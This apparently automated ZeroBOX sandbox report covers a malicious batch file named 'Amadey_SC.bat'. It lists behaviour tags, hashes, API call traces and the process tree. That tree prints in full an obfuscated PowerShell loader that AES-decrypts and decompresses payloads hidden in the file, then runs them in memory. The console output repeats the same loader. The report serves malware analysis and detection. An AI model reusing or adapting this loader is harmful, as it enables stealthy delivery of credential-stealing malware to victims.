popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Amadey_SC.bat

Downloader FTP Code injection DGA HTTP PWS ScreenShot Create Service KeyLogger P2P Internet API Sniff Audio DNS Escalate priviledges Http API Steal credential Socket AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 June 20, 2023, 9:16 a.m. June 20, 2023, 9:19 a.m.
Size 3.3MB
Type DOS batch file, ASCII text, with very long lines, with CRLF line terminators
MD5 555b0d888a0bafb00f76527b6c264962
SHA256 df486bdfafdbe632ce65e867a8a53b24b3b715141534309ef639b5846986cf28
CRC32 C40E3A16
ssdeep 49152:pniw26wQQ8hxQy8XTD43KiCJgZ+tfVBwFHzhGK:r
Yara None matched

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "ZuPxjHQIBEq" C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat

    3064

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat

      2228

      • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat

        292

        • Amadey_SC.bat.exe "C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat.exe" -w hidden -c $nGwm='CCjExhangCjExeECjExxteCjExnsiCjExoCjExnCjEx'.Replace('CjEx', '');$Grmc='LoCjExadCjEx'.Replace('CjEx', '');$YsJr='InCjExvokeCjEx'.Replace('CjEx', '');$AHzA='GeCjExtCurCjExrCjExentPCjExrocCjExesCjExsCjEx'.Replace('CjEx', '');$AkCJ='ECjExntCjExrCjExyCjExPoCjExinCjExtCjEx'.Replace('CjEx', '');$EJgE='TraCjExnsCjExforCjExmFiCjExnalCjExBloCjExckCjEx'.Replace('CjEx', '');$QoAk='FroCjExmBaCjExseCjEx64SCjExtriCjExngCjEx'.Replace('CjEx', '');$lLNf='ReCjExadLCjExinCjExeCjExsCjEx'.Replace('CjEx', '');$Mppd='MCjExaiCjExnMCjExoduCjExlCjExeCjEx'.Replace('CjEx', '');$lMAH='EleCjExmCjExenCjExtAtCjEx'.Replace('CjEx', '');$vHOA='CrCjExeatCjExeDCjExecrCjExypCjExtorCjEx'.Replace('CjEx', '');$nHUE='SplCjExitCjEx'.Replace('CjEx', '');function ZkNIV($dhECG){$dQobA=[System.Security.Cryptography.Aes]::Create();$dQobA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$dQobA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$dQobA.Key=[System.Convert]::$QoAk('U+IVH6zoRvVg+wJeW7OU/9ptKS11OAh0KPlLHNIshNI=');$dQobA.IV=[System.Convert]::$QoAk('EhMSi8SwB82vWnhueU1NaA==');$JvgRx=$dQobA.$vHOA();$ynAdD=$JvgRx.$EJgE($dhECG,0,$dhECG.Length);$JvgRx.Dispose();$dQobA.Dispose();$ynAdD;}function ghLbT($dhECG){$TGHyO=New-Object System.IO.MemoryStream(,$dhECG);$VJAyt=New-Object System.IO.MemoryStream;$ixxdS=New-Object System.IO.Compression.GZipStream($TGHyO,[IO.Compression.CompressionMode]::Decompress);$ixxdS.CopyTo($VJAyt);$ixxdS.Dispose();$TGHyO.Dispose();$VJAyt.Dispose();$VJAyt.ToArray();}$fcFDN=[System.Linq.Enumerable]::$lMAH([System.IO.File]::$lLNf([System.IO.Path]::$nGwm([System.Diagnostics.Process]::$AHzA().$Mppd.FileName, $null)), 1);$rVKhz=$fcFDN.Substring(2).$nHUE(':');$NPuxV=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[0])));$pjujA=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[1])));[System.Reflection.Assembly]::$Grmc([byte[]]$pjujA).$AkCJ.$YsJr($null,$null);[System.Reflection.Assembly]::$Grmc([byte[]]$NPuxV).$AkCJ.$YsJr($null,$null);

          1688

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Unexpected token '(' in expression or statement.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:962
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + $nGwm='CCjExhangCjExeECjExxteCjExnsiCjExoCjExnCjEx'.Replace('CjEx', '');$Grmc
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: ='LoCjExadCjEx'.Replace('CjEx', '');$YsJr='InCjExvokeCjEx'.Replace('CjEx', '');
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: $AHzA='GeCjExtCurCjExrCjExentPCjExrocCjExesCjExsCjEx'.Replace('CjEx', '');$AkCJ
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ='ECjExntCjExrCjExyCjExPoCjExinCjExtCjEx'.Replace('CjEx', '');$EJgE='TraCjExnsC
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: jExforCjExmFiCjExnalCjExBloCjExckCjEx'.Replace('CjEx', '');$QoAk='FroCjExmBaCjE
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: xseCjEx64SCjExtriCjExngCjEx'.Replace('CjEx', '');$lLNf='ReCjExadLCjExinCjExeCjE
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: xsCjEx'.Replace('CjEx', '');$Mppd='MCjExaiCjExnMCjExoduCjExlCjExeCjEx'.Replace(
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: 'CjEx', '');$lMAH='EleCjExmCjExenCjExtAtCjEx'.Replace('CjEx', '');$vHOA='CrCjEx
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: eatCjExeDCjExecrCjExypCjExtorCjEx'.Replace('CjEx', '');$nHUE='SplCjExitCjEx'.Re
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: place('CjEx', '');function ZkNIV($dhECG){$dQobA=[System.Security.Cryptography.A
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: es]::Create();$dQobA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$dQobA
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: .Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$dQobA.Key=[System.C
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: onvert]::$QoAk( <<<< 'U+IVH6zoRvVg+wJeW7OU/9ptKS11OAh0KPlLHNIshNI=');$dQobA.IV=
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: [System.Convert]::$QoAk('EhMSi8SwB82vWnhueU1NaA==');$JvgRx=$dQobA.$vHOA();$ynAd
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: D=$JvgRx.$EJgE($dhECG,0,$dhECG.Length);$JvgRx.Dispose();$dQobA.Dispose();$ynAdD
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: ;}function ghLbT($dhECG){$TGHyO=New-Object System.IO.MemoryStream(,$dhECG);$VJA
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: yt=New-Object System.IO.MemoryStream;$ixxdS=New-Object System.IO.Compression.GZ
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: ipStream($TGHyO,[IO.Compression.CompressionMode]::Decompress);$ixxdS.CopyTo($VJ
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: Ayt);$ixxdS.Dispose();$TGHyO.Dispose();$VJAyt.Dispose();$VJAyt.ToArray();}$fcFD
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: N=[System.Linq.Enumerable]::$lMAH([System.IO.File]::$lLNf([System.IO.Path]::$nG
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: wm([System.Diagnostics.Process]::$AHzA().$Mppd.FileName, $null)), 1);$rVKhz=$fc
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: FDN.Substring(2).$nHUE(':');$NPuxV=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[0])));
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: $pjujA=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[1])));[System.Reflection.Assembly]
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: ::$Grmc([byte[]]$pjujA).$AkCJ.$YsJr($null,$null);[System.Reflection.Assembly]::
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: $Grmc([byte[]]$NPuxV).$AkCJ.$YsJr($null,$null);
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : UnexpectedToken
console_handle: 0x0000017f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547d70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005478f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00548070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005479f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005474f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00547bb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005482f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02660000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02660000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73aa1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e5a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73aa2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02661000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f54000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fcb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e5b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f55000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fbc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f56000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fcc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a54000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a55000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a56000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a57000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a59000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a5f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04db0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
